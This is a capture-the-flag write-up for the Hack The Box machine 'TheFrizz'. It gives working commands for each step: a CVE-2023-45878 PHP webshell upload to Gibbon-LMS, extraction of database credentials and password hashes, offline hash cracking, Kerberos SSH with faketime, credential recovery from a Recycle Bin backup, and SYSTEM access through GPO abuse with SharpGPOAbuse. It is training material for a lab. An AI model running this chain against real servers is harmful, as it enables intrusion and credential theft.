TheFrizz
CVE-2023-45878 in Gibbon-LMS allowed unauthenticated PHP webshell upload, leading to credential extraction, hash cracking, and Kerberos SSH access as f.frizzle for the user flag.
Overview
TheFrizz is a medium-difficulty Windows Active Directory machine. The attack begins with CVE-2023-45878, an unauthenticated unrestricted file upload in Gibbon-LMS that writes a PHP webshell to the web root. From the webshell, MySQL credentials in the application config lead to a salted SHA-256 hash for f.frizzle, cracked offline with hashcat. A ~7-hour clock skew on the DC requires faketime to bypass Kerberos before SSH access lands user. Lateral movement through a WAPT backup archive in the Recycle Bin exposes m.schoolbus credentials, and membership in Group Policy Creator Owners allows SharpGPOAbuse to execute commands as NT AUTHORITY\SYSTEM.
Machine Matrix
High Real-Life and CVE axes reflect a real production LMS vulnerability chained with plaintext credentials in config files and an AD GPO misconfiguration — all techniques observed in real-world intrusions.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH | Kerberos GSSAPI only — password auth disabled |
| 53/tcp | DNS | Domain: frizz.htb |
| 80/tcp | HTTP (Apache/XAMPP) | Gibbon-LMS on frizzdc.frizz.htb |
| 88/tcp | Kerberos | FRIZZ.HTB realm |
| 135/tcp | MSRPC | — |
| 139/tcp | NetBIOS | — |
| 389/tcp | LDAP | DC: frizzdc.frizz.htb |
| 445/tcp | SMB | — |
| 464/tcp | kpasswd | — |
| 593/tcp | RPC over HTTP | — |
| 636/tcp | LDAPS | — |
| 3268/tcp | Global Catalog LDAP | — |
| 3269/tcp | Global Catalog LDAPS | — |
| 9389/tcp | AD Web Services | — |
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p22,53,80,88,135,139,389,445,464,593,636,3268,3269,9389 -sC -sV -Pn 10.10.10.X
The full AD port set alongside port 80 makes the attack surface clear: a Windows domain controller running a web application. Add the discovered hostnames to /etc/hosts:
1
echo "10.10.10.X frizzdc.frizz.htb frizz.htb" | sudo tee -a /etc/hosts
Enumeration
Port 80 serves Gibbon-LMS version 25.0.0 at http://frizzdc.frizz.htb/Gibbon-LMS/. Checking the rubrics endpoint from CVE-2023-45878 confirms it is reachable without authentication:
1
curl -s -I http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
With the webshell in place (see Foothold), reading config.php reveals the MySQL credentials stored in plaintext — a CWE-256 violation:
1
curl -s "http://frizzdc.frizz.htb/Gibbon-LMS/kali.php?cmd=type+C:\xampp\htdocs\Gibbon-LMS\config.php"
The config exposes the database user MrGibbonsDB with password MisterGibbs!Parrot!?1. Querying the gibbonperson table dumps the password hash and salt for f.frizzle:
1
2
curl -s "http://frizzdc.frizz.htb/Gibbon-LMS/kali.php" \
--get --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" gibbon -e "select username,passwordStrong,passwordStrongSalt from gibbonperson;"'
Foothold
CVE-2023-45878 is an unrestricted file upload paired with missing authentication in Gibbon-LMS 25.0.0. The rubrics_visualise_saveAjax.php endpoint accepts a base64-encoded body and a caller-controlled filename with no session check.
Write a PHP webshell (the base64 payload decodes to <?php system($_GET["cmd"]); ?>):
1
2
curl -s http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;kali,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyAgPz4K&path=kali.php&gibbonPersonID=0000000001'
Verify code execution:
1
curl -s "http://frizzdc.frizz.htb/Gibbon-LMS/kali.php?cmd=whoami"
The response confirms execution as frizz\w.webservice.
User flag
Lateral movement from w.webservice to f.frizzle requires cracking the extracted hash. Hashcat mode 1420 is sha256($salt.$pass):
1
2
echo '067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489' > f.frizzle.hash
hashcat -m 1420 f.frizzle.hash /usr/share/wordlists/rockyou.txt --force
The hash cracks to Jenni_Luvs_Magic23. SSH on this box requires Kerberos GSSAPI — but the DC clock is ~7 hours ahead. Use faketime to match the DC timestamp for kinit and ssh:
1
2
3
4
5
6
7
8
9
10
11
12
13
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
dns_lookup_kdc = false
default_realm = FRIZZ.HTB
[realms]
FRIZZ.HTB = {
kdc = frizzdc.frizz.htb
admin_server = frizzdc.frizz.htb
}
[domain_realm]
.frizz.htb = FRIZZ.HTB
frizz.htb = FRIZZ.HTB
EOF
Obtain the DC time from a failed TGT request (copy the stime value from the KRB_ERROR response):
1
getTGT.py -dc-ip 10.10.10.X frizz.htb/f.frizzle:wrongpass 2>&1
Then authenticate with that timestamp:
1
2
faketime "2026-05-22 22:32:00" kinit [email protected]
faketime "2026-05-22 22:32:00" ssh -K -o StrictHostKeyChecking=no [email protected]
1
type C:\Users\f.frizzle\Desktop\user.txt # HTB{...}
Shell lands as f.frizzle and the user flag is ours.
Privilege Escalation
f.frizzle to m.schoolbus:
A 7-Zip archive sitting in f.frizzle’s Recycle Bin contains a WAPT server backup. The waptserver.ini inside stores the admin password as a base64-encoded string — CWE-312 paired with CWE-538:
1
2
3
4
5
6
7
faketime "2026-05-22 22:33:00" kinit [email protected]
faketime "2026-05-22 22:33:00" scp -o GSSAPIAuthentication=yes \
'[email protected]:C:/$RECYCLE.BIN/S-1-5-21-2386970044-1145388522-2932701813-1103/$RE2XMEG.7z' \
wapt-backup-sunday.7z
7z x wapt-backup-sunday.7z
grep wapt_password wapt/conf/waptserver.ini
echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d
The decoded password is !suBcig@MehTed!R, valid for m.schoolbus:
1
2
faketime "2026-05-22 22:34:00" kinit [email protected]
faketime "2026-05-22 22:34:00" ssh -K [email protected]
m.schoolbus to SYSTEM via GPO abuse:
m.schoolbus is a member of Desktop Admins, which is nested inside the built-in Group Policy Creator Owners group — a privilege misconfiguration that permits creating domain GPOs. Creating a GPO, linking it to the Domain Controllers OU, and adding an immediate scheduled task causes the DC to run arbitrary commands as NT AUTHORITY\SYSTEM:
Transfer SharpGPOAbuse to the target:
1
2
3
faketime "2026-05-22 22:35:00" kinit [email protected]
faketime "2026-05-22 22:35:00" scp -o GSSAPIAuthentication=yes \
SharpGPOAbuse.exe '[email protected]:C:/Windows/Temp/SharpGPOAbuse.exe'
On the target via SSH, create and abuse the GPO:
1
2
3
New-GPO -Name rootgpo | New-GPLink -Target 'OU=Domain Controllers,DC=frizz,DC=htb' -LinkEnabled Yes
C:\Windows\Temp\SharpGPOAbuse.exe --addcomputertask --GPOName rootgpo --Author kali --TaskName getroot --Command cmd.exe --Arguments "/c type C:\Users\Administrator\Desktop\root.txt > C:\xampp\htdocs\r.txt"
gpupdate /force
Retrieve the root flag via HTTP (executed as SYSTEM):
1
curl -s http://frizzdc.frizz.htb/r.txt
Root flag
1
type C:\Users\Administrator\Desktop\root.txt # HTB{...}
Full domain compromise achieved — NT AUTHORITY\SYSTEM on the domain controller via GPO scheduled task abuse.